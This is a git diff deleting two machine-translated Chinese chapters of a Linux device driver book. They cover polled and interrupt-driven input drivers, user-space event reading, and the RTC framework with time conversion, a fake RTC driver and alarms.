`close`是一个可选方法,当设备不再被轮询时调用。它用于将设备置于低功耗模式。 -* `poll`是每当设备需要轮询时调用的强制方法。以`poll_interval`的频率调用。 -* `poll_interval`是调用`poll()`方法的频率。默认为 500 毫秒,除非在注册设备时被覆盖。 -* `poll_interval_max`指定轮询间隔的上限。默认为`poll_interval`的初始值。 -* `poll_interval_min`指定轮询间隔的下限。默认为 0。 -* `input`是轮询设备所围绕的输入设备。它必须由驱动正确初始化(标识、名称、位)。轮询输入设备只是提供了一个接口来使用轮询而不是 IRQ 来检测设备状态的变化。 - -使用`input_allocate_polled_device()`和`input_free_polled_device()`分配/释放`struct input_polled_dev`结构。您应该注意初始化嵌入其中的`struct input_dev`的强制字段。轮询间隔也应该设置,否则,默认为 500 毫秒。也可以使用资源管理版本。两个原型如下: - -```sh -struct input_polled_dev *devm_input_allocate_polled_device(struct device *dev) -struct input_polled_dev *input_allocate_polled_device(void) -void input_free_polled_device(struct input_polled_dev *dev) -``` - -For resource-managed devices, the field `input_dev->devres_managed` will be set to true by the input core. - -在分配和适当的字段初始化后,可以使用`input_register_polled_device()`注册轮询的输入设备,成功后返回 0。反向操作(取消注册)通过`input_unregister_polled_device()`功能完成: - -```sh -int input_register_polled_device(struct input_polled_dev *dev) -void input_unregister_polled_device(struct input_polled_dev *dev) -``` - -这种设备的`probe()`功能的典型示例如下: - -```sh -static int button_probe(struct platform_device *pdev) -{ - struct my_struct *ms; - struct input_dev *input_dev; - int retval; - - ms = devm_kzalloc(&pdev->dev, sizeof(*ms), GFP_KERNEL); - if (!ms) - return -ENOMEM; - - ms->poll_dev = input_allocate_polled_device(); - if (!ms->poll_dev){ - kfree(ms); - return -ENOMEM; - } - - /* This gpio is not mapped to IRQ */ - ms->reset_btn_desc = gpiod_get(dev, "reset", GPIOD_IN); - - ms->poll_dev->private = ms ; - ms->poll_dev->poll = my_btn_poll; - ms->poll_dev->poll_interval = 200; /* Poll every 200ms */ - ms->poll_dev->open = my_btn_open; /* consist */ - - input_dev = ms->poll_dev->input; - input_dev->name = "System Reset Btn"; - - /* The gpio belong to an expander sitting on I2C */ - input_dev->id.bustype = BUS_I2C; - input_dev->dev.parent = &pdev->dev; - - /* Declare the events generated by this driver */ - set_bit(EV_KEY, input_dev->evbit); - set_bit(BTN_0, input_dev->keybit); /* buttons */ - - retval = input_register_polled_device(mcp->poll_dev); - if (retval) { - dev_err(&pdev->dev, "Failed to register input device\n"); - input_free_polled_device(ms->poll_dev); - kfree(ms); - } - return retval; -} -``` - -以下是我们的`struct my_struct`结构的样子: - -```sh -struct my_struct { - struct gpio_desc *reset_btn_desc; - struct input_polled_dev *poll_dev; -} -``` - -以下是`open`函数的外观: - -```sh -static void my_btn_open(struct input_polled_dev *poll_dev) -{ - struct my_strut *ms = poll_dev->private; - dev_dbg(&ms->poll_dev->input->dev, "reset open()\n"); -} -``` - -`open`方法用于准备设备所需的资源。对于这个例子,我们并不真正需要这个方法。 - -# 生成和报告输入事件 - -设备分配和注册是必不可少的,但它们不是输入设备驱动的主要目标,输入设备驱动被设计为甚至向输入核心报告。根据您的设备可以支持的事件类型,内核提供适当的 API 向内核报告这些事件。 - -给定一个`EV_XXX`功能的设备,相应的报告功能将是`input_report_xxx()`。下表显示了最重要的事件类型及其报告功能之间的映射: - -| **事件类型** | **报告功能** | **代码示例** | -| `EV_KEY` | `input_report_key()` | `input_report_key(poll_dev->input, BTN_0, gpiod_get_value(ms-> reset_btn_desc) & 1)`; | -| `EV_REL` | `input_report_rel()` | `input_report_rel(nunchuk->input, REL_X, (nunchuk->report.joy_x - 128)/10)`; | -| `EV_ABS` | `input_report_abs()` | `input_report_abs(bma150->input, ABS_X, x_value)`;`input_report_abs(bma150->input, ABS_Y, y_value)`;`input_report_abs(bma150->input, ABS_Z, z_value)`; | - -它们各自的原型如下: - -```sh -void input_report_abs(struct input_dev *dev, - unsigned int code, int value) -void input_report_key(struct input_dev *dev, - unsigned int code, int value) -void input_report_rel(struct input_dev *dev, - unsigned int code, int value) -``` - -可用报表函数的列表可以在内核源文件的`include/linux/input.h`中找到。它们都有相同的骨架: - -* `dev`是负责事件的输入设备。 -* `code`代表事件代码,例如`REL_X`或`KEY_BACKSPACE`。完整列表在`include/linux/input-event-codes.h`中。 -* `value`是事件承载的价值。对于`EV_REL`事件类型,它携带相对变化。对于一个`EV_ABS`(操纵杆等等。)事件类型,它包含一个绝对新值。对于`EV_KEY`事件类型,应设置为`0`键释放、`1`键按压、`2`自动重复。 - -报告完所有更改后,驾驶员应在输入设备上调用`input_sync()`,以指示该事件已完成。输入子系统会将这些收集到一个数据包中,并通过`/dev/input/event`发送出去,T1 是代表我们在系统上的`struct input_dev`的字符设备,其中``是输入核心分配给驱动的接口号: - -```sh -void input_sync(struct input_dev *dev) -``` - -我们来看一个例子,这是`drivers/input/misc/bma150.c`中`bma150`数字加速度传感器驱动的摘录: - -```sh -static void threaded_report_xyz(struct bma150_data *bma150) -{ - u8 data[BMA150_XYZ_DATA_SIZE]; - s16 x, y, z; - s32 ret; - - ret = i2c_smbus_read_i2c_block_data(bma150->client, - BMA150_ACC_X_LSB_REG, BMA150_XYZ_DATA_SIZE, data); - if (ret != BMA150_XYZ_DATA_SIZE) - return; - - x = ((0xc0 & data[0]) >> 6) | (data[1] << 2); - y = ((0xc0 & data[2]) >> 6) | (data[3] << 2); - z = ((0xc0 & data[4]) >> 6) | (data[5] << 2); - - /* sign extension */ - x = (s16) (x << 6) >> 6; - y = (s16) (y << 6) >> 6; - z = (s16) (z << 6) >> 6; - - input_report_abs(bma150->input, ABS_X, x); - input_report_abs(bma150->input, ABS_Y, y); - input_report_abs(bma150->input, ABS_Z, z); - /* Indicate this event is complete */ - input_sync(bma150->input); -} -``` - -在前面的示例中,`input_sync()`告诉核心将这三个报告视为同一个事件。这是有意义的,因为位置有三个轴(X,Y,Z),我们不希望 X,Y 或 Z 分别报告。 - -报告事件的最佳位置是在轮询设备的`poll`功能中,或者在启用了 IRQ 的设备的 IRQ 例程(线程部分或无线程部分)中。如果您执行一些可能会休眠的操作,您应该在处理的 IRQ 的线程部分中处理您的报告: - -```sh -static void my_btn_poll(struct input_polled_dev *poll_dev) -{ - struct my_struct *ms = poll_dev->private; - struct i2c_client *client = mcp->client; - - input_report_key(poll_dev->input, BTN_0, - gpiod_get_value(ms->reset_btn_desc) & 1); - input_sync(poll_dev->input); -} -``` - -# 用户空间界面 - -每个注册的输入设备都由一个`/dev/input/event` char 设备表示,我们可以从这个设备中读取用户空间中的事件。读取该文件的应用将接收`struct input_event`格式的事件数据包: - -```sh -struct input_event { - struct timeval time; - __u16 type; - __u16 code; - __s32 value; -} -``` - -让我们看看结构中每个柠檬的含义: - -* `time`是时间戳,它返回事件发生的时间。 -* `type`为事件类型。例如,按下或释放某个键时为`EV_KEY`,相对时刻为`EV_REL`,绝对时刻为`EV_ABS`。更多类型在`include/linux/input-event-codes.h`中定义。 -* `code`是事件代码,例如:`REL_X`或`KEY_BACKSPACE`,同样完整的列表在`include/linux/input-event-codes.h`中。 -* `value`是事件承载的价值。对于`EV_REL`事件类型,它携带相对变化。对于一个`EV_ABS`(操纵杆等等)事件类型,它包含了绝对的新值。对于`EV_KEY`事件类型,应设置为`0`键释放,`1`键按压,`2`自动重复。 - -用户空间应用可以使用阻塞和非阻塞读取,也可以使用`poll()`或`select()`系统调用,以便在打开该设备后获得事件通知。以下是`select()`系统调用的一个例子,完整的源代码在图书源代码库中提供: - -```sh -#include -#include -#include -#include -#include -#include - -#define INPUT_DEVICE "/dev/input/event1" - -int main(int argc, char **argv) -{ - int fd; - struct input_event event; - ssize_t bytesRead; - - int ret; - fd_set readfds; - - fd = open(INPUT_DEVICE, O_RDONLY); - /* Let's open our input device */ - if(fd < 0){ - fprintf(stderr, "Error opening %s for reading", INPUT_DEVICE); - exit(EXIT_FAILURE); - } - - while(1){ - /* Wait on fd for input */ - FD_ZERO(&readfds); - FD_SET(fd, &readfds); - - ret = select(fd + 1, &readfds, NULL, NULL, NULL); - if (ret == -1) { - fprintf(stderr, "select call on %s: an error ocurred", - INPUT_DEVICE); - break; - } - else if (!ret) { /* If we have decided to use timeout */ - fprintf(stderr, "select on %s: TIMEOUT", INPUT_DEVICE); - break; - } - - /* File descriptor is now ready */ - if (FD_ISSET(fd, &readfds)) { - bytesRead = read(fd, &event, - sizeof(struct input_event)); - if(bytesRead == -1) - /* Process read input error*/ - if(bytesRead != sizeof(struct input_event)) - /* Read value is not an input even */ - - /* - * We could have done a switch/case if we had - * many codes to look for - */ - if(event.code == BTN_0) { - /* it concerns our button */ - if(event.value == 0){ - /* Process Release */ - [...] - } - else if(event.value == 1){ - /* Process KeyPress */ - [...] - } - } - } - } - close(fd); - return EXIT_SUCCESS; -} -``` - -# 把它们放在一起 - -到目前为止,我们已经描述了为输入设备编写驱动时使用的结构,以及如何从用户空间管理它们。 - -1. 使用`input_allocate_polled_device()`或`input_allocate_device()`,根据输入设备的类型分配一个新的输入设备,无论是否轮询。 -2. 是否填写必填字段(如有必要): - -3. 如有必要,写下你的`open()`功能,在其中你应该准备和设置设备使用的资源。这个函数只被调用一次。在该功能中,设置 GPIO,需要时请求中断,初始化设备。 -4. 编写你的`close()`函数,在这个函数中你将释放和释放你在`open()`函数中所做的事情。例如,释放 GPIO、IRQ,将设备置于省电模式。 -5. 将您的`open()`或`close()`功能(或两者)传递到`input_dev.open`和`input_dev.close`字段。 -6. 如果轮询,使用`input_register_polled_device()`注册您的设备,否则使用`input_register_device()`注册。 -7. 在您的 IRQ 功能(线程化或非线程化)或`poll()`功能中,根据事件类型收集和报告事件,使用`input_report_key()`、`input_report_rel()`、`input_report_abs()`或其他,然后调用输入设备上的`input_sync()`指示帧结束(报告完成)。 - -如果没有提供 IRQ,通常的方法是使用传统的输入设备,否则返回轮询设备: - -```sh -if(client->irq > 0){ - /* Use generic input device */ -} else { - /* Use polled device */ -} -``` - -要了解如何从用户空间管理此类设备,请参考本书来源中提供的示例。 - -# 驱动因素示例 - -人们可以从以下两个驱动因素中总结出一件事。第一个是轮询输入设备,基于非映射到 IRQ 的 GPIO。被轮询的输入核心将轮询 GPIO 以检测任何变化。此驱动被配置为发送 0 密钥代码。每个 GPIO 状态对应于按键或按键释放: - -```sh -#include -#include -#include -#include /* For DT*/ -#include /* For platform devices */ -#include /* For GPIO Descriptor interface */ -#include -#include - -struct poll_btn_data { - struct gpio_desc *btn_gpiod; - struct input_polled_dev *poll_dev; -}; - -static void polled_btn_open(struct input_polled_dev *poll_dev) -{ - /* struct poll_btn_data *priv = poll_dev->private; */ - pr_info("polled device opened()\n"); -} - -static void polled_btn_close(struct input_polled_dev *poll_dev) -{ - /* struct poll_btn_data *priv = poll_dev->private; */ - pr_info("polled device closed()\n"); -} - -static void polled_btn_poll(struct input_polled_dev *poll_dev) -{ - struct poll_btn_data *priv = poll_dev->private; - - input_report_key(poll_dev->input, BTN_0, gpiod_get_value(priv->btn_gpiod) & 1); - input_sync(poll_dev->input); -} - -static const struct of_device_id btn_dt_ids[] = { - { .compatible = "packt,input-polled-button", }, - { /* sentinel */ } -}; - -static int polled_btn_probe(struct platform_device *pdev) -{ - struct poll_btn_data *priv; - struct input_polled_dev *poll_dev; - struct input_dev *input_dev; - int ret; - - priv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL); - if (!priv) - return -ENOMEM; - - poll_dev = input_allocate_polled_device(); - if (!poll_dev){ - devm_kfree(&pdev->dev, priv); - return -ENOMEM; - } - - /* We assume this GPIO is active high */ - priv->btn_gpiod = gpiod_get(&pdev->dev, "button", GPIOD_IN); - - poll_dev->private = priv; - poll_dev->poll_interval = 200; /* Poll every 200ms */ - poll_dev->poll = polled_btn_poll; - poll_dev->open = polled_btn_open; - poll_dev->close = polled_btn_close; - priv->poll_dev = poll_dev; - - input_dev = poll_dev->input; - input_dev->name = "Packt input polled Btn"; - input_dev->dev.parent = &pdev->dev; - - /* Declare the events generated by this driver */ - set_bit(EV_KEY, input_dev->evbit); - set_bit(BTN_0, input_dev->keybit); /* buttons */ - - ret = input_register_polled_device(priv->poll_dev); - if (ret) { - pr_err("Failed to register input polled device\n"); - input_free_polled_device(poll_dev); - devm_kfree(&pdev->dev, priv); - return ret; - } - - platform_set_drvdata(pdev, priv); - return 0; -} - -static int polled_btn_remove(struct platform_device *pdev) -{ - struct poll_btn_data *priv = platform_get_drvdata(pdev); - input_unregister_polled_device(priv->poll_dev); - input_free_polled_device(priv->poll_dev); - gpiod_put(priv->btn_gpiod); - return 0; -} - -static struct platform_driver mypdrv = { - .probe = polled_btn_probe, - .remove = polled_btn_remove, - .driver = { - .name = "input-polled-button", - .of_match_table = of_match_ptr(btn_dt_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Polled input device"); -``` - -第二个驱动根据按钮的 GPIO 映射到的 IRQ 向输入核心发送事件。使用 IRQ 检测按键按下或释放时,最好在边沿变化时触发中断: - -```sh -#include -#include -#include -#include /* For DT*/ -#include /* For platform devices */ -#include /* For GPIO Descriptor interface */ -#include -#include - -struct btn_data { - struct gpio_desc *btn_gpiod; - struct input_dev *i_dev; - struct platform_device *pdev; - int irq; -}; - -static int btn_open(struct input_dev *i_dev) -{ - pr_info("input device opened()\n"); - return 0; -} - -static void btn_close(struct input_dev *i_dev) -{ - pr_info("input device closed()\n"); -} - -static irqreturn_t packt_btn_interrupt(int irq, void *dev_id) -{ - struct btn_data *priv = dev_id; - - input_report_key(priv->i_dev, BTN_0, gpiod_get_value(priv->btn_gpiod) & 1); - input_sync(priv->i_dev); - return IRQ_HANDLED; -} - -static const struct of_device_id btn_dt_ids[] = { - { .compatible = "packt,input-button", }, - { /* sentinel */ } -}; - -static int btn_probe(struct platform_device *pdev) -{ - struct btn_data *priv; - struct gpio_desc *gpiod; - struct input_dev *i_dev; - int ret; - - priv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL); - if (!priv) - return -ENOMEM; - - i_dev = input_allocate_device(); - if (!i_dev) - return -ENOMEM; - - i_dev->open = btn_open; - i_dev->close = btn_close; - i_dev->name = "Packt Btn"; - i_dev->dev.parent = &pdev->dev; - priv->i_dev = i_dev; - priv->pdev = pdev; - - /* Declare the events generated by this driver */ - set_bit(EV_KEY, i_dev->evbit); - set_bit(BTN_0, i_dev->keybit); /* buttons */ - - /* We assume this GPIO is active high */ - gpiod = gpiod_get(&pdev->dev, "button", GPIOD_IN); - if (IS_ERR(gpiod)) - return -ENODEV; - - priv->irq = gpiod_to_irq(priv->btn_gpiod); - priv->btn_gpiod = gpiod; - - ret = input_register_device(priv->i_dev); - if (ret) { - pr_err("Failed to register input device\n"); - goto err_input; - } - - ret = request_any_context_irq(priv->irq, - packt_btn_interrupt, - (IRQF_TRIGGER_FALLING | IRQF_TRIGGER_RISING), - "packt-input-button", priv); - if (ret < 0) { - dev_err(&pdev->dev, - "Unable to acquire interrupt for GPIO line\n"); - goto err_btn; - } - - platform_set_drvdata(pdev, priv); - return 0; - -err_btn: - gpiod_put(priv->btn_gpiod); -err_input: - printk("will call input_free_device\n"); - input_free_device(i_dev); - printk("will call devm_kfree\n"); - return ret; -} - -static int btn_remove(struct platform_device *pdev) -{ - struct btn_data *priv; - priv = platform_get_drvdata(pdev); - input_unregister_device(priv->i_dev); - input_free_device(priv->i_dev); - free_irq(priv->irq, priv); - gpiod_put(priv->btn_gpiod); - return 0; -} - -static struct platform_driver mypdrv = { - .probe = btn_probe, - .remove = btn_remove, - .driver = { - .name = "input-button", - .of_match_table = of_match_ptr(btn_dt_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Input device (IRQ based)"); -``` - -对于这两个例子,当设备与模块匹配时,将在`/dev/input`目录中创建一个节点。该节点对应于我们示例中的`event0`。可以使用`udevadm`工具显示设备信息: - -```sh -# udevadm info /dev/input/event0 -P: /devices/platform/input-button.0/input/input0/event0 -N: input/event0 -S: input/by-path/platform-input-button.0-event -E: DEVLINKS=/dev/input/by-path/platform-input-button.0-event -E: DEVNAME=/dev/input/event0 -E: DEVPATH=/devices/platform/input-button.0/input/input0/event0 -E: ID_INPUT=1 -E: ID_PATH=platform-input-button.0 -E: ID_PATH_TAG=platform-input-button_0 -E: MAJOR=13 -E: MINOR=64 -E: SUBSYSTEM=input -E: USEC_INITIALIZED=74842430 -``` - -给定输入设备的路径,实际上允许我们将事件键打印到屏幕上的工具是`evtest`: - -```sh -# evtest /dev/input/event0 -input device opened() -Input driver version is 1.0.1 -Input device ID: bus 0x0 vendor 0x0 product 0x0 version 0x0 -Input device name: "Packt Btn" -Supported events: -Event type 0 (EV_SYN) -Event type 1 (EV_KEY) -Event code 256 (BTN_0) -``` - -由于第二个模块是基于 IRQ 的,人们可以很容易地检查 IRQ 请求是否成功,以及它被触发了多少次: - -```sh -$ cat /proc/interrupts | grep packt -160: 0 0 0 0 gpio-mxc 0 packt-input-button -``` - -最后,可以依次按下/释放按钮,检查 GPIO 的状态是否改变: - -```sh -$ cat /sys/kernel/debug/gpio | grep button -gpio-193 (button-gpio ) in hi -$ cat /sys/kernel/debug/gpio | grep button -gpio-193 (button-gpio ) in lo -``` - -# 摘要 - -本章描述了整个输入框架,并强调了轮询和中断驱动输入设备之间的区别。到本章结束时,您已经具备了为任何输入驱动编写驱动的必要知识,无论它是什么类型,也无论它支持什么输入事件。还讨论了用户空间界面,并提供了一个示例。下一章讨论另一个重要的框架,RTC,它是 PC 和嵌入式设备中时间管理的关键元素。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/18.md b/docs/linux-device-driver-dev/18.md deleted file mode 100644 index 5ce4ff9a..00000000 --- a/docs/linux-device-driver-dev/18.md +++ /dev/null @@ -1,507 +0,0 @@ -# 十八、实时控制驱动 - -**实时时钟** ( **RTC** )是用于跟踪非易失性存储器中绝对时间的设备,非易失性存储器可以位于处理器内部,也可以通过 I2C 或 SPI 总线连接到外部。 - -可以使用 RTC 来执行以下操作: - -* 读取和设置绝对时钟,并在时钟更新期间产生中断 -* 产生周期性中断 -* 设置警报 - -RTC 和系统时钟有不同的用途。前者是以非易失方式维护绝对时间和日期的硬件时钟,而后者是由内核维护的软件时钟,用于实现`gettimeofday(2)`和`time(2)`系统调用,以及在文件上设置时间戳等等。系统时钟报告从起点开始的秒和微秒,起点定义为 POSIX 纪元:`1970-01-01 00:00:00 +0000 (UTC)`。 - -在本章中,我们将涵盖以下主题: - -* 介绍 RTC 框架 API -* 描述这种驱动的体系结构,以及一个虚拟驱动示例 -* 处理警报 -* 通过 sysfs 接口或使用 hwclock 工具,从用户空间管理 RTC 设备 - -# RTC 框架数据结构 - -在 Linux 系统上,RTC 框架使用三种主要的数据结构。它们是`strcut rtc_time`、`struct rtc_device`和`struct rtc_class_ops`结构。前者是表示给定日期和时间的不透明结构;第二种结构表示物理 RTC 设备;最后一个表示由驱动公开并由 RTC 核心用来读取/更新设备的日期/时间/警报的一组操作。 - -从驱动中提取 RTC 功能所需的唯一标题是: - -```sh -#include -``` - -同一个文件包含前面部分列举的所有三种结构: - -```sh -struct rtc_time { - int tm_sec; /* seconds after the minute */ - int tm_min; /* minutes after the hour - [0, 59] */ - int tm_hour; /* hours since midnight - [0, 23] */ - int tm_mday; /* day of the month - [1, 31] */ - int tm_mon; /* months since January - [0, 11] */ - int tm_year; /* years since 1900 */ - int tm_wday; /* days since Sunday - [0, 6] */ - int tm_yday; /* days since January 1 - [0, 365] */ - int tm_isdst; /* Daylight saving time flag */ -}; -``` - -这个结构类似于``中的`struct tm`,用来打发时间。下一个结构是`struct rtc_device,`,代表内核中的芯片: - -```sh -struct rtc_device { - struct device dev; - struct module *owner; - - int id; - char name[RTC_DEVICE_NAME_SIZE]; - - const struct rtc_class_ops *ops; - struct mutex ops_lock; - - struct cdev char_dev; - unsigned long flags; - - unsigned long irq_data; - spinlock_t irq_lock; - wait_queue_head_t irq_queue; - - struct rtc_task *irq_task; - spinlock_t irq_task_lock; - int irq_freq; - int max_user_freq; - - struct work_struct irqwork; -}; -``` - -以下是结构元素的含义: - -* `dev`:这是器件结构。 -* `owner`:这是拥有这个 RTC 设备的模块。使用`THIS_MODULE`就够了。 -* `id`:这是内核`/dev/rtc`给 RTC 设备的全局索引。 -* `name`:这是给 RTC 设备起的名字。 -* `ops`:这是这个 RTC 设备暴露给核心管理或者来自用户空间的一组操作(比如读取/设置时间/告警)。 -* `ops_lock`:这是内核内部用来保护 ops 函数调用的互斥体。 -* `cdev`:这是与该 RTC 关联的充电设备,`/dev/rtc`。 - -下一个重要的结构是`struct rtc_class_ops`,它是一组作为回调来执行标准的功能,并限制在 RTC 设备上。它是顶层和底层 RTC 驱动之间的通信接口: - -```sh -struct rtc_class_ops { - int (*open)(struct device *); - void (*release)(struct device *); - int (*ioctl)(struct device *, unsigned int, unsigned long); - int (*read_time)(struct device *, struct rtc_time *); - int (*set_time)(struct device *, struct rtc_time *); - int (*read_alarm)(struct device *, struct rtc_wkalrm *); - int (*set_alarm)(struct device *, struct rtc_wkalrm *); - int (*read_callback)(struct device *, int data); - int (*alarm_irq_enable)(struct device *, unsigned int enabled); -}; -``` - -前面代码中的所有钩子都给定了一个`struct device`结构作为参数,这与嵌入在`struct rtc_device`结构中的钩子相同。这意味着在这些钩子中,用户可以在任何给定时间使用`to_rtc_device()`宏访问 RTC 设备本身,该宏构建在`container_of()`宏之上。 - -```sh -#define to_rtc_device(d) container_of(d, struct rtc_device, dev) -``` - -当从用户空间调用设备上的`open()`、`close()`或`read()`功能时,内核内部调用`open()`、`release()`和`read_callback()`钩子。 - -`read_time()`是从设备读取时间并填充`struct rtc_time`输出参数的驱动函数。该函数应在成功时返回`0`,否则返回负错误代码。 - -`set_time()`是驱动功能,根据作为输入参数给出的`struct rtc_time`结构更新设备的时间。返回参数的备注与`read_time`功能相同。 - -如果您的设备支持报警功能,驾驶员应提供`read_alarm()`和`set_alarm()`来读取/设置设备上的报警。`struct rtc_wkalrm`将在本章后面描述。`alarm_irq_enable()`也应提供,以启用报警。 - -# RTC API(RTC API) - -RTC 设备在内核中表示为`struct rtc_device`结构的一个实例。与其他内核框架设备注册(其中设备作为注册函数的参数给出)不同,RTC 设备由内核构建,并在`rtc_device`结构返回给驱动之前首先注册。使用`rtc_device_register()`功能在内核中构建和注册设备: - -```sh -struct rtc_device *rtc_device_register(const char *name, - struct device *dev, - const struct rtc_class_ops *ops, - struct module *owner) -``` - -可以看到函数的每个参数的含义,如下所示: - -* `name`:这是你的 RTC 设备名称。它可能是芯片的名称,例如:ds1343。 -* `dev`:这是父设备,用于设备模型目的。例如,对于位于 I2C 或 SPI 总线上的芯片,`dev`可以设置为`spi_device.dev`或`i2c_client.dev`。 -* `ops`:这是你的 RTC 操作,根据 RTC 拥有的功能或者你的驱动可以支持的功能来填充。 -* `owner`:这是这个 RTC 设备所属的模块。大多数情况下`THIS_MODULE`就够了。 - -注册应该在`probe`功能中进行,显然可以使用这个功能的资源管理版本: - -```sh -struct rtc_device *devm_rtc_device_register(struct device *dev, - const char *name, - const struct rtc_class_ops *ops, - struct module *owner) -``` - -这两个函数在成功时返回内核构建的`struct rtc_device`结构上的指针,或者返回应该使用`IS_ERR`和`PTR_ERR`宏的指针错误。 - -相关反向操作为`rtc_device_unregister()`和`devm_ rtc_device_unregister()`: - -```sh -void rtc_device_unregister(struct rtc_device *rtc) -void devm_rtc_device_unregister(struct device *dev, - struct rtc_device *rtc) -``` - -# 读取和设置时间 - -驱动负责提供读取和设置设备时间的功能。这些是 RTC 驱动至少能提供的。当涉及到读取时,读取回调函数被赋予一个指向已分配/清零的`struct rtc_time`结构的指针,驱动必须填充该结构。因此,RTC 几乎总是以**二进制编码十进制** ( **BCD** )存储/恢复时间,其中每个四位组(4 位系列)代表 0 到 9 之间的数字(而不是 0 到 15 之间的数字)。内核提供了`bcd2bin()`和`bin2bcd()`两个宏,分别将 BCD 编码转换为十进制,或者将十进制转换为 BCD。接下来要注意的是一些`rtc_time`字段,有一些边界要求,需要做一些翻译的地方。数据以 BCD 形式从设备中读取,应使用`bcd2bin()`进行转换。 - -由于`struct rtc_time`结构复杂,内核提供了`rtc_valid_tm()`帮助器,以验证给定的`rtc_time`结构,并在成功时返回`0`,这意味着该结构表示有效的日期/时间: - -```sh -int rtc_valid_tm(struct rtc_time *tm); -``` - -以下示例描述了 RTC 读取操作回调: - -```sh -static int foo_rtc_read_time(struct device *dev, struct rtc_time *tm) -{ - struct foo_regs regs; - int error; - - error = foo_device_read(dev, ®s, 0, sizeof(regs)); - if (error) - return error; - - tm->tm_sec = bcd2bin(regs.seconds); - tm->tm_min = bcd2bin(regs.minutes); - tm->tm_hour = bcd2bin(regs.cent_hours); - tm->tm_mday = bcd2bin(regs.date); - - /* - * This device returns weekdays from 1 to 7 - * But rtc_time.wday expect days from 0 to 6\. - * So we need to substract 1 to the value returned by the chip - */ - tm->tm_wday = bcd2bin(regs.day) - 1; - - /* - * This device returns months from 1 to 12 - * But rtc_time.tm_month expect a months 0 to 11\. - * So we need to substract 1 to the value returned by the chip - */ - tm->tm_mon = bcd2bin(regs.month) - 1; - - /* - * This device's Epoch is 2000\. - * But rtc_time.tm_year expect years from Epoch 1900\. - * So we need to add 100 to the value returned by the chip - */ - tm->tm_year = bcd2bin(regs.years) + 100; - - return rtc_valid_tm(tm); -} -``` - -在使用 BCD 转换函数之前,以下标题是必需的: - -```sh -#include -``` - -当涉及到`set_time`功能时,会给出一个指向`struct rtc_time`的指针作为输入参数。该参数已经填充了要存储在 RTC 芯片中的值。不幸的是,这些是十进制编码的,应该在发送到芯片之前转换成 BCD。`bin2bcd`做转换。`struct rtc_time`结构的某些领域也应受到同样的关注。以下是描述通用`set_time`函数的伪代码: - -```sh -static int foo_rtc_set_time(struct device *dev, struct rtc_time *tm) -{ - - regs.seconds = bin2bcd(tm->tm_sec); - regs.minutes = bin2bcd(tm->tm_min); - regs.cent_hours = bin2bcd(tm->tm_hour); - - /* - * This device expects week days from 1 to 7 - * But rtc_time.wday contains week days from 0 to 6\. - * So we need to add 1 to the value given by rtc_time.wday - */ - regs.day = bin2bcd(tm->tm_wday + 1); - regs.date = bin2bcd(tm->tm_mday); - - /* - * This device expects months from 1 to 12 - * But rtc_time.tm_mon contains months from 0 to 11\. - * So we need to add 1 to the value given by rtc_time.tm_mon - */ - regs.month = bin2bcd(tm->tm_mon + 1); - - /* - * This device expects year since Epoch 2000 - * But rtc_time.tm_year contains year since Epoch 1900\. - * We can just extract the year of the century with the - * rest of the division by 100\. - */ - regs.cent_hours |= BQ32K_CENT; - regs.years = bin2bcd(tm->tm_year % 100); - - return write_into_device(dev, ®s, 0, sizeof(regs)); -} -``` - -RTC's epoch differs from the POSIX epoch, which is only used for the system clock. If the year according to the RTC's epoch and the year register is less than 1970, it is assumed to be 100 years later, that is, between 2000 and 2069. - -# 驱动示例 - -我们可以用一个简单而虚假的驱动来总结前面的概念,这个驱动只是在系统上注册一个 RTC 设备: - -```sh -#include -#include -#include -#include -#include -#include -#include - -static int fake_rtc_read_time(struct device *dev, struct rtc_time *tm) -{ - /* - * One can update "tm" with fake values and then call - */ - return rtc_valid_tm(tm); -} - -static int fake_rtc_set_time(struct device *dev, struct rtc_time *tm) -{ - return 0; -} - -static const struct rtc_class_ops fake_rtc_ops = { - .read_time = fake_rtc_read_time, - .set_time = fake_rtc_set_time -}; - -static const struct of_device_id rtc_dt_ids[] = { - { .compatible = "packt,rtc-fake", }, - { /* sentinel */ } -}; - -static int fake_rtc_probe(struct platform_device *pdev) -{ - struct rtc_device *rtc; - rtc = rtc_device_register(pdev->name, &pdev->dev, - &fake_rtc_ops, THIS_MODULE); - - if (IS_ERR(rtc)) - return PTR_ERR(rtc); - - platform_set_drvdata(pdev, rtc); - pr_info("Fake RTC module loaded\n"); - - return 0; -} - -static int fake_rtc_remove(struct platform_device *pdev) -{ - rtc_device_unregister(platform_get_drvdata(pdev)); - return 0; -} - -static struct platform_driver fake_rtc_drv = { - .probe = fake_rtc_probe, - .remove = fake_rtc_remove, - .driver = { - .name = KBUILD_MODNAME, - .owner = THIS_MODULE, - .of_match_table = of_match_ptr(rtc_dt_ids), - }, -}; -module_platform_driver(fake_rtc_drv); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu "); -MODULE_DESCRIPTION("Fake RTC driver description"); -``` - -# 玩弄警报 - -RTC 报警是由设备在给定时间触发的可编程事件。实时温度控制报警被表示为`struct rtc_wkalarm`结构的一个实例: - -```sh -struct rtc_wkalrm { -unsigned char enabled; /* 0 = alarm disabled, 1 = enabled */ -unsigned char pending; /* 0 = alarm not pending, 1 = pending */ -struct rtc_time time; /* time the alarm is set to */ -}; -``` - -驾驶员应提供`set_alarm()`和`read_alarm()`操作,以设置和读取报警发生的时间,以及`alarm_irq_enable()`,这是用于启用/禁用报警的功能。当`set_alarm()`功能被调用时,它作为一个输入参数给出,一个指向`struct rtc_wkalrm`的指针,其`.time`字段包含报警必须被设置的时间。驱动有责任以正确的方式提取每个值(如有必要,使用`bin2dcb()`,并将其写入设备的适当寄存器中。`rtc_wkalrm.enabled`告知警报是否应在设置后立即启用。如果为真,驱动必须启用芯片中的报警。给`read_alarm()`一个指向`struct rtc_wkalrm`的指针也是如此,但这次是作为输出参数。驱动必须用从设备读取的数据填充结构。 - -`{read | set}_alarm()` and `{read | set}_time()` functions behave the same way, except that each pair of functions reads/stores data from/into different sets of registers in the device. - 